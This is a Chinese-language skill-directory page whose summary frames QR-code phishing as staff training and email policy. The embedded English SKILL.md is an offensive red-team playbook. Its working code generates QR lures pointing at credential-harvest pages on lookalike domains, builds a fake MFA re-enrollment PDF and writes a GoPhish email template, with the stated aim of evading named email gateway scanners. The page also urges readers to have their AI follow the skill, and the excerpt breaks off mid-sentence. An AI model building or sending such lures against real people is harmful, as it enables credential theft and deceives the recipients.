跳到正文
Skillpedia
安全6.5k · #14124

quishing

它能做什么

本指南介绍利用二维码把人引到假登录页面的钓鱼手法。适用于培训员工,并为邮件中的二维码制定政策的安全团队。

适用场景

  • ✓当安全团队想把二维码钓鱼加入意识培训内容时。
  • ✓当邮件团队需要决定如何扫描或限制消息中的二维码时。
  • ✓当经授权的测试包含带有防御方通知的二维码场景时。

技能链接

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/phisher/quishing/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“能否用通俗的语言解释二维码钓鱼,并为我们的员工提供一套政策和一个培训案例?”

每周 5 个新技能,1 分钟读完。

工作原理

智能体会解释二维码如何隐藏网址,而邮件扫描器可能无法读取,然后给出培训要点和邮件中二维码的使用规则。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

QR-Code Phishing (Quishing)

Email gateway URL scanners parse hyperlinks and anchor tags — they rarely decode QR codes embedded as images. A QR code pointing at a credential-harvest page survives gateway scanning that would flag the same URL in plaintext. Quishing is now the primary bypass for organisations running Proofpoint / Mimecast / Microsoft Defender URL detonation.

Prerequisites

  • Python qrcode + Pillow in the sandbox (pip install qrcode[pil]).
  • GoPhish campaign infrastructure configured (gophish-campaign).
  • A credential-harvest landing page hosted on a lookalike-domain.
  • The lure-deconfliction handshake COMPLETE for this campaign.
  • Optional: EvilQR for dynamic QR payloads with real-time URL rotation.

Quick Reference

# Generate a basic QR code pointing at the harvest URL
python3 -c "
import qrcode
img = qrcode.make('https://login.<LURE_DOMAIN>/auth?id={{.RId}}')
img.save('/tmp/qr_lure.png')
"

# Generate with branding (logo overlay, colours)
python3 << 'PYEOF'
import qrcode
from qrcode.image.styledpil import StyledPilImage
from qrcode.image.styles.moduledrawers import RoundedModuleDrawer
from qrcode.image.styles.colormasks import RadialGradiantColorMask

qr = qrcode.QRCode(error_correction=qrcode.constants.ERROR_CORRECT_H)
qr.add_data('https://login.<LURE_DOMAIN>/auth?id={{.RId}}')
img = qr.make_image(
    image_factory=StyledPilImage,
    module_drawer=RoundedModuleDrawer(),
    color_mask=RadialGradiantColorMask(
        back_color=(255, 255, 255),
        center_color=(0, 51, 153),
        edge_color=(0, 102, 204),
    ),
)
img.save('/tmp/qr_branded.png')
PYEOF

MITRE ATT&CK Mapping

Technique ID Usage
Phishing: Spearphishing Attachment T1566.001 QR code image embedded in PDF / DOCX / email body
User Execution: Malicious Link T1204.001 Victim scans QR, phone browser opens harvest URL
Phishing for Information: Spearphishing Link T1598.003 Credential capture page behind the QR URL

1. QR Code Generation

Generate the QR PNG at error-correction level H (30% redundancy) so a centre logo can overlay up to 30% of modules without breaking decode:

import qrcode

HARVEST_URL = "https://login.<LURE_DOMAIN>/auth?id=<TRACKING_ID>"

qr = qrcode.QRCode(
    version=None,           # auto-size
    error_correction=qrcode.constants.ERROR_CORRECT_H,
    box_size=10,
    border=4,
)
qr.add_data(HARVEST_URL)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("/workspace/qr_lure.png")

To overlay a corporate logo in the centre (improves trust cues):

from PIL import Image

qr_img = Image.open("/workspace/qr_lure.png").convert("RGBA")
logo = Image.open("/workspace/target_logo.png").resize((60, 60))
pos = ((qr_img.size[0] - logo.size[0]) // 2,
       (qr_img.size[1] - logo.size[1]) // 2)
qr_img.paste(logo, pos, logo)
qr_img.save("/workspace/qr_branded.png")

2. Embedding in PDF

Build a PDF that mimics an IT notice (MFA re-enrollment, password policy update) with the QR image inline. The PDF body contains no clickable URL — only the image — so URL scanners see nothing.

from fpdf import FPDF

pdf = FPDF()
pdf.add_page()
pdf.set_font("Helvetica", "B", 16)
pdf.cell(0, 10, "Action Required: MFA Re-Enrollment", ln=True, align="C")
pdf.ln(8)
pdf.set_font("Helvetica", "", 11)
pdf.multi_cell(0, 6,
    "Our identity provider requires all employees to re-enroll their "
    "MFA token by <DEADLINE>. Scan the QR code below with your mobile "
    "device to complete the process.")
pdf.ln(6)
pdf.image("/workspace/qr_branded.png", x=65, w=80)
pdf.ln(6)
pdf.set_font("Helvetica", "I", 9)
pdf.cell(0, 6, "IT Security — Do not forward this document.", align="C")
pdf.output("/workspace/mfa_reenroll.pdf")

3. Embedding in Email Body (Inline Image)

Attach the QR as an inline CID image so it renders inside the email body rather than as a downloadable attachment:

# GoPhish template HTML — embed the QR as a CID-referenced inline image
cat > /workspace/qr_template.html << 'HTML'
<html><body style="font-family:Segoe UI,sans-serif;">
<p>Dear {{.FirstName}},</p>
<p>Please scan the QR code below to verify your account:</p>
<p style="text-align:center;">
  <img src="cid:qr_lure" width="200" height="200" alt="QR Code" />
</p>
<p style="font-size:11px;color:#666;">
  IT Security Team — <TARGET_ORG><br/>
  {{.Tracker}}
</p>
</body></html>
HTML

When sending via GoPhish, add

常见问题

为什么二维码钓鱼更难发现?

指南指出,许多邮件扫描器能识别文字中的网页链接,却可能无法解码二维码图片。

员工应该怎么做?

扫描后检查显示的网址,不要通过邮件收到的链接登录。

什么政策有帮助?

将意外邮件中的二维码视为可疑,并要求扫描前进行单独核实。

详情

作者的原始描述

QR-code phishing (Quishing) — generate QR lures embedding credential-harvest URLs, embed in PDF or email bodies, bypass email gateway URL scanners that cannot parse QR image payloads.

repo: BitterSecurity/Decepticon

热度

GitHub 星标
6.5k
排名
#14124
许可证
Apache-2.0
更新时间
2026/11/1

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能